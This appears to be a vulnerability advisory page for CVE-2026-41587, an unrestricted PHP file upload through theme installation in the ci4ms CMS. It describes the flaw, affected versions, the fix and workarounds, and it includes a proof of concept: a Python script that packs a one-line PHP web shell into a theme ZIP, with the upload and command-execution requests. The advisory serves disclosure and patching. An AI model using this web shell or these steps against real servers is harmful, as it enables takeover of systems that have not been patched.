CVE-2026-41587 — ci4ms
Fix: ci4-cms-erp/ci4ms@b969465CVE-2026-41587 is a Unrestricted File Upload vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.
CI4MS: Unrestricted PHP File Upload via Theme Installation Leads to Authenticated Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41587.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.
Details
File: modules/Theme/Controllers/Theme.php
After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52
File: modules/Theme/Helpers/themes_helper.php
The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68
Because the web root is public/, any .php file placed there is directly reachable over HTTP.
PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: themes_helper.php:31-42
The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20
PoC
Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).
Step 1 — Build the malicious ZIP:
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')
buf.seek(0)
with open('evil_theme.zip', 'wb') as f:
f.write(buf.read())
Step 2 — Upload:
POST /backend/themes/upload
Content-Type: multipart/form-data
field name: theme
file: evil_theme.zip
Step 3 — Execute:
GET https://target.com/templates/evil/shell.php?c=id
Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
Impact
Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.
Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | ≥ 0.26.0.0&&< 0.31.7.0 | 0.31.7.0composer require ci4-cms-erp/ci4ms:^0.31.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ci4-cms-erp/ci4ms to 0.31.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41587 is resolved across your whole dependency graph.
Workarounds
Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.
Frequently Asked Questions
Is CVE-2026-41587 in your dependencies?
Find it across Packagist, including transitive dependencies.